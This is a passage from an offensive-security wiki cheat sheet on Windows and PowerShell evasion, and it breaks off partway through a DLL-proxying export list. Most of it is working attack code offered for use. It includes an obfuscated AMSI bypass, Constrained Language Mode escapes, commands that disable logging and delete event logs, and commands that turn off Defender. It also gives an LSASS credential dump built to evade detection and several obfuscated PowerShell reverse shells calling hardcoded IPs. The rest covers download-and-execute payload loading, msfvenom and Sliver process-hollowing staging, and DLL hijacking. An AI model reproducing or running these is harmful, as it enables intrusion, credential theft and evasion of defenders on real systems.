Credit: [https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification] (however, I think it’s originally from Matt Graeber)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType((&amp;quot;{5}{2}{0}{1}{3}{6}{4}&amp;quot; -f &#039;ut&#039;,(&#039;oma&#039;+&#039;t&#039;+&#039;ion.&#039;),&#039;.A&#039;,(&#039;Ams&#039;+&#039;iUt&#039;),&#039;ls&#039;,(&#039;S&#039;+&#039;ystem.&#039;+&#039;Manage&#039;+&#039;men&#039;+&#039;t&#039;),&#039;i&#039;)).GetField((&amp;quot;{1}{2}{0}&amp;quot; -f (&#039;Co&#039;+&#039;n&#039;+&#039;text&#039;),(&#039;am&#039;+&#039;s&#039;),&#039;i&#039;),[Reflection.BindingFlags](&amp;quot;{4}{2}{3}{0}{1}&amp;quot; -f(&#039;b&#039;+&#039;lic,Sta&#039;+&#039;ti&#039;),&#039;c&#039;,&#039;P&#039;,&#039;u&#039;,(&#039;N&#039;+&#039;on&#039;))).GetValue($null),0x41414141)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: [https://www.trendmicro.com/en_us/research/22/l/detecting-windows-amsi-bypass-techniques.html https://www.trendmicro.com/en_us/research/22/l/detecting-windows-amsi-bypass-techniques.html]&lt;br /&gt;
&lt;br /&gt;
==== Bypass CLM (Constrained Language Mode) ====&lt;br /&gt;
&lt;br /&gt;
Escapes for Constrained Language Mode:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Escape 1&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[Runspace]::DefaultRunspace.InitialSessionState.LanguageMode&lt;br /&gt;
[Runspace]::DefaultRunspace.SessionStateProxy.LanguageMode&lt;br /&gt;
# Escape 2&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode = &amp;quot;FullLanguage&amp;quot;&lt;br /&gt;
[Runspace]::DefaultRunspace.InitialSessionState.LanguageMode = &amp;quot;FullLanguage&amp;quot;&lt;br /&gt;
[Runspace]::DefaultRunspace.SessionStateProxy.LanguageMode = &amp;quot;FullLanguage&amp;quot;&lt;br /&gt;
# Escape 3&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
$ExecutionContext.SessionState.GetType().GetField(&#039;languageMode&#039;,&#039;NonPublic,Instance&#039;).SetValue($ExecutionContext.SessionState,[System.Management.Automation.PSLanguageMode]::FullLanguage)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 4&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
$ExecutionContext.SessionState.GetType().GetField(&#039;languageMode&#039;,&#039;NonPublic,Instance&#039;).SetValue($ExecutionContext.SessionState,1)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 5&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.Utils&#039;).GetField(&#039;cachedLanguageMode&#039;,&#039;NonPublic,Static&#039;).SetValue($null,[System.Management.Automation.PSLanguageMode]::FullLanguage)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 6&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.Utils&#039;).GetField(&#039;cachedLanguageMode&#039;,&#039;NonPublic,Static&#039;).SetValue($null,1)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 7&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.ScriptBlock&#039;).GetField(&#039;signatures&#039;,&#039;NonPublic,Static&#039;).SetValue($null,(New-Object &#039;Collections.Generic.List[string]&#039;))&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.ScriptBlock&#039;).GetField(&#039;optimizedAstCache&#039;,&#039;NonPublic,Static&#039;).SetValue($null,(New-Object &#039;Collections.Generic.Dictionary[string,System.Management.Automation.Ast]&#039;))&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.CompiledScriptBlockData&#039;).GetField(&#039;allowedVariables&#039;,&#039;NonPublic,Static&#039;).SetValue($null,(New-Object &#039;Collections.Generic.HashSet[string]&#039;))&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.CompiledScriptBlockData&#039;).GetField(&#039;allowedCommands&#039;,&#039;NonPublic,Static&#039;).SetValue($null,(New-Object &#039;Collections.Generic.HashSet[string]&#039;))&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.CompiledScriptBlockData&#039;).GetField(&#039;allowedVariables&#039;,&#039;NonPublic,Static&#039;).Add(&#039;*&#039;)&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.CompiledScriptBlockData&#039;).GetField(&#039;allowedCommands&#039;,&#039;NonPublic,Static&#039;).Add(&#039;*&#039;)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 8&lt;br /&gt;
function Invoke-Expression {param([string]$Command); [ScriptBlock]::Create($Command).Invoke()}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Bypass logging ====&lt;br /&gt;
&lt;br /&gt;
Logging evasion techniques:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Technique 1: Disable Script Block Logging and Module Logging&lt;br /&gt;
Set-ItemProperty -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -Name EnableScriptBlockLogging -Value 0 -Force&lt;br /&gt;
Set-ItemProperty -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ModuleLogging -Name EnableModuleLogging -Value 0 -Force&lt;br /&gt;
# Technique 2: Disable Transcription Logging and Module Logging&lt;br /&gt;
Set-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription -Name EnableTranscripting -Value 0 -Force&lt;br /&gt;
Set-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging -Name EnableModuleLogging -Value 0 -Force&lt;br /&gt;
# Technique 3: Delete the log files from the system (requires admin privileges)&lt;br /&gt;
Remove-Item C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Operational.evtx -Force&lt;br /&gt;
Remove-Item C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Admin.evtx -Force&lt;br /&gt;
# Technique 4: Use Invoke-Expression to bypass Script Block Logging and Module Logging (requires PowerShell v5 or higher)&lt;br /&gt;
Invoke-Expression &amp;quot;IEX (New-Object Net.WebClient).DownloadString(&#039;http://example.com/payload.ps1&#039;)&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Disable MS Defender (Require elevation) ====&lt;br /&gt;
&lt;br /&gt;
Turning off Windows Defender: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Get-MPPreference&lt;br /&gt;
Set-MPPreference -DisableRealTimeMonitoring $true&lt;br /&gt;
Set-MPPreference -DisableIOAVProtection $true&lt;br /&gt;
Set-MPPreference -DisableIntrusionPreventionSystem $true&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Add folder exclusion ====&lt;br /&gt;
&lt;br /&gt;
Adding a folder exclusion &amp;lt;code&amp;gt;Add-MpPreference -ExclusionPath &amp;quot;C:\temp&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Checking exclusions&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Get-MpPreference | Select-Object -Property ExclusionPath&lt;br /&gt;
ExclusionPath&lt;br /&gt;
-------------&lt;br /&gt;
{C:\temp}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== LSASS dumping without triggering Defender ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$S = &amp;quot;C:\temp&amp;quot;&lt;br /&gt;
$P = (Get-Process lsass)&lt;br /&gt;
$A = [PSObject].Assembly.GetType(&#039;Syst&#039;+&#039;em.Manage&#039;+&#039;ment.Autom&#039;+&#039;ation.Windo&#039;+&#039;wsErrorRe&#039;+&#039;porting&#039;)&lt;br /&gt;
$B = $A.GetNestedType(&#039;Nativ&#039;+&#039;eMethods&#039;, &#039;Non&#039;+&#039;Public&#039;)&lt;br /&gt;
$C = [Reflection.BindingFlags] &#039;NonPublic, Static&#039;&lt;br /&gt;
$D = $B.GetMethod(&#039;MiniDum&#039;+&#039;pWriteDump&#039;, $C)&lt;br /&gt;
$PF = &amp;quot;$($P.Name)_$($P.Id).dmp&amp;quot;&lt;br /&gt;
$PDP = Join-Path $S $PF&lt;br /&gt;
$F = New-Object IO.FileStream($PDP, [IO.FileMode]::Create)&lt;br /&gt;
$R = $D.Invoke($null, @($P.Handle,$G,$F.SafeFileHandle,[UInt32] 2,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero))&lt;br /&gt;
$F.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Reverse Shells ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Set-Alias -Name K -Value Out-String&lt;br /&gt;
Set-Alias -Name nothingHere -Value iex&lt;br /&gt;
$BT = New-Object &amp;quot;S`y`stem.Net.Sockets.T`CPCl`ient&amp;quot;($args[0],$args[1]);&lt;br /&gt;
$replace = $BT.GetStream();&lt;br /&gt;
[byte[]]$B = 0..(32768*2-1)|%{0};&lt;br /&gt;
$B = ([text.encoding]::UTF8).GetBytes(&amp;quot;(c) Microsoft Corporation. All rights reserved.`n`n&amp;quot;)&lt;br /&gt;
$replace.Write($B,0,$B.Length)&lt;br /&gt;
$B = ([text.encoding]::ASCII).GetBytes((Get-Location).Path + &#039;&amp;gt;&#039;)&lt;br /&gt;
$replace.Write($B,0,$B.Length)&lt;br /&gt;
[byte[]]$int = 0..(10000+55535)|%{0};&lt;br /&gt;
while(($i = $replace.Read($int, 0, $int.Length)) -ne 0){;&lt;br /&gt;
$ROM = [text.encoding]::ASCII.GetString($int,0, $i);&lt;br /&gt;
$I = (nothingHere $ROM 2&amp;gt;&amp;amp;1 | K );&lt;br /&gt;
$I2  = $I + (pwd).Path + &#039;&amp;gt; &#039;;&lt;br /&gt;
$U = [text.encoding]::ASCII.GetBytes($I2);&lt;br /&gt;
$replace.Write($U,0,$U.Length);&lt;br /&gt;
$replace.Flush()};&lt;br /&gt;
$BT.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: @TihanyiNorbert (Reverse shell based on the original nishang Framework written by @nikhil_mitt)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$J = New-Object System.Net.Sockets.TCPClient($args[0],$args[1]);&lt;br /&gt;
$SS = $J.GetStream();&lt;br /&gt;
[byte[]]$OO = 0..((2-shl(3*5))-1)|%{0};&lt;br /&gt;
$OO = ([text.encoding]::UTF8).GetBytes(&amp;quot;Copyright (C) 2022 Microsoft Corporation. All rights reserved.`n`n&amp;quot;)&lt;br /&gt;
$SS.Write($OO,0,$OO.Length)&lt;br /&gt;
$OO = ([text.encoding]::UTF8).GetBytes((Get-Location).Path + &#039;&amp;gt;&#039;)&lt;br /&gt;
$SS.Write($OO,0,$OO.Length)&lt;br /&gt;
[byte[]]$OO = 0..((2-shl(3*5))-1)|%{0};&lt;br /&gt;
while(($A = $SS.Read($OO, 0, $OO.Length)) -ne 0){;$DD = (New-Object System.Text.UTF8Encoding).GetString($OO,0, $A);&lt;br /&gt;
$GG = (i`eX $DD 2&amp;gt;&amp;amp;1 | Out-String );&lt;br /&gt;
$H  = $GG + (pwd).Path + &#039;&amp;gt; &#039;;&lt;br /&gt;
$L = ([text.encoding]::UTF8).GetBytes($H);&lt;br /&gt;
$SS.Write($L,0,$L.Length);&lt;br /&gt;
$SS.Flush()};&lt;br /&gt;
$J.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: @TihanyiNorbert (Reverse shell based on the original nishang Framework written by @nikhil_mitt)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$c = New-Object System.Net.Sockets.TCPClient($args[0],$args[1]);&lt;br /&gt;
$I = $c.GetStream();&lt;br /&gt;
[byte[]]$U = 0..(2-shl15)|%{0};&lt;br /&gt;
$U = ([text.encoding]::ASCII).GetBytes(&amp;quot;Copyright (C) 2021 Microsoft Corporation. All rights reserved.`n`n&amp;quot;)&lt;br /&gt;
$I.Write($U,0,$U.Length)&lt;br /&gt;
$U = ([text.encoding]::ASCII).GetBytes((Get-Location).Path + &#039;&amp;gt;&#039;)&lt;br /&gt;
$I.Write($U,0,$U.Length)&lt;br /&gt;
while(($k = $I.Read($U, 0, $U.Length)) -ne 0){;$D = (New-Object System.Text.UTF8Encoding).GetString($U,0, $k);&lt;br /&gt;
$a = (iex $D 2&amp;gt;&amp;amp;1 | Out-String );&lt;br /&gt;
$r  = $a + (pwd).Path + &#039;&amp;gt; &#039;;&lt;br /&gt;
$m = ([text.encoding]::ASCII).GetBytes($r);&lt;br /&gt;
$I.Write($m,0,$m.Length);&lt;br /&gt;
$I.Flush()};&lt;br /&gt;
$c.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: @TihanyiNorbert (Based on the original nishang Framework written by @nikhil_mitt)&lt;br /&gt;
&lt;br /&gt;
Reverse PowerShell:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$socket = new-object System.Net.Sockets.TcpClient(&#039;10.10.14.5&#039;, 4445);&lt;br /&gt;
if($socket -eq $null){exit 1}&lt;br /&gt;
$stream = $socket.GetStream();&lt;br /&gt;
$writer = new-object System.IO.StreamWriter($stream);&lt;br /&gt;
$buffer = new-object System.Byte[] 1024;&lt;br /&gt;
$encoding = new-object System.Text.AsciiEncoding;&lt;br /&gt;
do{&lt;br /&gt;
        $writer.Write(&amp;quot;PS&amp;gt; &amp;quot;);&lt;br /&gt;
        $writer.Flush();&lt;br /&gt;
        $read = $null;&lt;br /&gt;
        while($stream.DataAvailable -or ($read = $stream.Read($buffer, 0, 1024)) -eq $null){}&lt;br /&gt;
        $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($buffer, 0, $read);&lt;br /&gt;
        $sendback = (iex $data 2&amp;gt;&amp;amp;1 | Out-String );&lt;br /&gt;
        $sendback2  = $sendback;&lt;br /&gt;
        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);&lt;br /&gt;
        $writer.Write($sendbyte,0,$sendbyte.Length);&lt;br /&gt;
}While ($true);&lt;br /&gt;
$writer.close();$socket.close();&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== PowerShell Download payload ====&lt;br /&gt;
&lt;br /&gt;
WebClient DownloadData [http://x.x.x.x/file.exe http://x.x.x.x/file.exe] method:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$bytes = (new-object net.webclient).downloaddata(&amp;quot;http://10.10.16.74:8080/payload.exe&amp;quot;)&lt;br /&gt;
[System.Reflection.Assembly]::Load($bytes)&lt;br /&gt;
$BindingFlags= [Reflection.BindingFlags] &amp;quot;NonPublic,Static&amp;quot;&lt;br /&gt;
$main = [Shell].getmethod(&amp;quot;Main&amp;quot;, $BindingFlags)&lt;br /&gt;
$main.Invoke($null, $null)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tools that may help with AV Evasion:&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/phra/PEzor https://github.com/phra/PEzor]&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/bats3c/darkarmour https://github.com/bats3c/darkarmour]&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/loadenmb/tvasion https://github.com/loadenmb/tvasion]&lt;br /&gt;
&lt;br /&gt;
== C2 Frameworks ==&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?p=2476 Command And Control – C2 Framework – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
=== Bypassing defender with sliver and staged process hollowing ===&lt;br /&gt;
&lt;br /&gt;
I was able to bypass Windows Defender on a fully patched Windows 10 (12.12.2023) using process hollowing and sliver with shellcode generated by msfvenom.&lt;br /&gt;
&lt;br /&gt;
This is a two staged exectution. The first stage will get our stager for sliver and inject it to svchost using process hollowing. The next stage is sliver executing our implant on the target.&lt;br /&gt;
&lt;br /&gt;
Ps. I was able to bypass defender on Windows 11, however I had to run it through ConfuserEX and enable InsecureGuestAuth. Implementing an authentication method for SMB in the process hollowing code would&#039;ve helped us circumvent guest access blocking.&lt;br /&gt;
&lt;br /&gt;
First generate a shellcode using msfvenom.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfvenom -p windows/x64/custom/reverse_winhttp LHOST=192.168.1.38 LPORT=1234 LURI=/hello.woff -f raw -o stager.bin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
We will use a technique called process hollowing and place our shellcode in svchosts.exe. The shellcode will be hosted on my kali using smbserver.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
# Snippet from process hollowing code. See CheatSheet II for full code.&lt;br /&gt;
            string targetPath = &amp;quot;C:\\Windows\\System32\\svchost.exe&amp;quot;;&lt;br /&gt;
            string shellcodePath = &amp;quot;\\\\192.168.1.38\\share\\UNEVEN_DESTRUCTION.bin&amp;quot;; // Replace with the actual shellcode file path&lt;br /&gt;
            IntPtr processHandle, threadHandle;&lt;br /&gt;
            uint threadId;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
No I will start an smbserver on my kali and setup sliver.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Create a new profile that will be we will use for our staging listener.&lt;br /&gt;
profiles new --mtls 192.168.1.38 --format shellcode win-shellcode&lt;br /&gt;
# Creata a steage listener and link it to our profile.&lt;br /&gt;
stage-listener --url http://192.168.1.38:1234 --profile win-shellcode --prepend-size&lt;br /&gt;
# Last start a listener on mTLS.&lt;br /&gt;
mtls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-12-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-12-image-4.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-12-image-5.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== Convert .bin to shellcode \x hex ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/JohnHammond/binnim JohnHammond/binnim: Shitty Nim code that reads in a file and converts it into \x hex representation, for the use of shellcode binaries. (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
./binnim ~/shellcode.bin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DLL Proxying ==&lt;br /&gt;
&lt;br /&gt;
This method involves creating a malicious DLL that mimics the interface of a legitimate DLL but adds malicious functionality. The proxy DLL forwards legitimate calls to the original DLL while performing malicious activities in the background.&lt;br /&gt;
&lt;br /&gt;
[https://github.com/Accenture/Spartacus?source=post_page-----733d423fc67b-------------------------------- sadreck/Spartacus: Spartacus DLL/COM Hijacking Toolkit (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;gt; * Spartacus automates most of the process. It parses raw [https://learn.microsoft.com/en-us/sysinternals/downloads/procmon SysInternals Process Monitor] logs, and you can leave ProcMon running for hours and discover 2nd and 3rd level DLL/COM hijacking vulnerabilities (ie an app that loads another DLL that loads yet another DLL when you use a specific feature of the parent app).&lt;br /&gt;
&amp;gt;&lt;br /&gt;
&amp;gt;&lt;br /&gt;
&amp;gt;&lt;br /&gt;
&amp;gt; * Automatically generate Visual Studio solutions for vulnerable DLLs.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Spartacus.exe --mode dll --procmon C:\Users\Maldev\Destkop\Tools\Sysinternals\Procmon.exe --pml C:\Data\logs.pml --csv C:\Data\vulndll.csv --solution C:\Data\Solution --verbose&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Below is an example of DLL proxying of mattermost. In this example spartacus detected that sspicli.dll is missing.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#pragma once&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AcceptSecurityContext=C:\\Windows\\System32\\sspicli.AcceptSecurityContext,@4&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AcquireCredentialsHandleA=C:\\Windows\\System32\\sspicli.AcquireCredentialsHandleA,@5&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AcquireCredentialsHandleW=C:\\Windows\\System32\\sspicli.AcquireCredentialsHandleW,@6&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AddCredentialsA=C:\\Windows\\System32\\sspicli.AddCredentialsA,@7&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AddCredentialsW=C:\\Windows\\System32\\sspicli.AddCredentialsW,@8&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AddSecurityPackageA=C:\\Windows\\System32\\sspicli.AddSecurityPackageA,@9&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:AddSecurityPackageW=C:\\Windows\\System32\\sspicli.AddSecurityPackageW,@10&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ApplyControlToken=C:\\Windows\\System32\\sspicli.ApplyControlToken,@11&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ChangeAccountPasswordA=C:\\Windows\\System32\\sspicli.ChangeAccountPasswordA,@12&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ChangeAccountPasswordW=C:\\Windows\\System32\\sspicli.ChangeAccountPasswordW,@13&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:CompleteAuthToken=C:\\Windows\\System32\\sspicli.CompleteAuthToken,@14&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:CredMarshalTargetInfo=C:\\Windows\\System32\\sspicli.CredMarshalTargetInfo,@15&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:CredUnmarshalTargetInfo=C:\\Windows\\System32\\sspicli.CredUnmarshalTargetInfo,@16&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:DecryptMessage=C:\\Windows\\System32\\sspicli.DecryptMessage,@17&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:DeleteSecurityContext=C:\\Windows\\System32\\sspicli.DeleteSecurityContext,@18&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:DeleteSecurityPackageA=C:\\Windows\\System32\\sspicli.DeleteSecurityPackageA,@19&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:DeleteSecurityPackageW=C:\\Windows\\System32\\sspicli.DeleteSecurityPackageW,@20&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:EncryptMessage=C:\\Windows\\System32\\sspicli.EncryptMessage,@21&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:EnumerateSecurityPackagesA=C:\\Windows\\System32\\sspicli.EnumerateSecurityPackagesA,@22&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:EnumerateSecurityPackagesW=C:\\Windows\\System32\\sspicli.EnumerateSecurityPackagesW,@23&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ExportSecurityContext=C:\\Windows\\System32\\sspicli.ExportSecurityContext,@24&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:FreeContextBuffer=C:\\Windows\\System32\\sspicli.FreeContextBuffer,@25&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:FreeCredentialsHandle=C:\\Windows\\System32\\sspicli.FreeCredentialsHandle,@26&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:GetSecurityUserInfo=C:\\Windows\\System32\\sspicli.GetSecurityUserInfo,@27&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:GetUserNameExA=C:\\Windows\\System32\\sspicli.GetUserNameExA,@28&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:GetUserNameExW=C:\\Windows\\System32\\sspicli.GetUserNameExW,@29&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ImpersonateSecurityContext=C:\\Windows\\System32\\sspicli.ImpersonateSecurityContext,@30&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ImportSecurityContextA=C:\\Windows\\System32\\sspicli.ImportSecurityContextA,@31&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:ImportSecurityContextW=C:\\Windows\\System32\\sspicli.ImportSecurityContextW,@32&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:InitSecurityInterfaceA=C:\\Windows\\System32\\sspicli.InitSecurityInterfaceA,@33&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:InitSecurityInterfaceW=C:\\Windows\\System32\\sspicli.InitSecurityInterfaceW,@34&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:InitializeSecurityContextA=C:\\Windows\\System32\\sspicli.InitializeSecurityContextA,@35&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:InitializeSecurityContextW=C:\\Windows\\System32\\sspicli.InitializeSecurityContextW,@36&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LogonUserExExW=C:\\Windows\\System32\\sspicli.LogonUserExExW,@37&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaCallAuthenticationPackage=C:\\Windows\\System32\\sspicli.LsaCallAuthenticationPackage,@38&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaConnectLocalUser=C:\\Windows\\System32\\sspicli.LsaConnectLocalUser,@39&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaConnectUntrusted=C:\\Windows\\System32\\sspicli.LsaConnectUntrusted,@40&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaDeregisterLogonProcess=C:\\Windows\\System32\\sspicli.LsaDeregisterLogonProcess,@41&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaEnumerateLogonSessions=C:\\Windows\\System32\\sspicli.LsaEnumerateLogonSessions,@42&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaFreeReturnBuffer=C:\\Windows\\System32\\sspicli.LsaFreeReturnBuffer,@43&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaGetLogonSessionData=C:\\Windows\\System32\\sspicli.LsaGetLogonSessionData,@44&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaLogonUser=C:\\Windows\\System32\\sspicli.LsaLogonUser,@45&amp;quot;)&lt;br /&gt;
#pragma comment(linker,&amp;quot;/export:LsaLookupAuthenticationPackage=C:\\Windows\\System32\\sspicli.LsaLookupAuthenticationPackage,@46&amp;quot;)&lt;br /&gt;
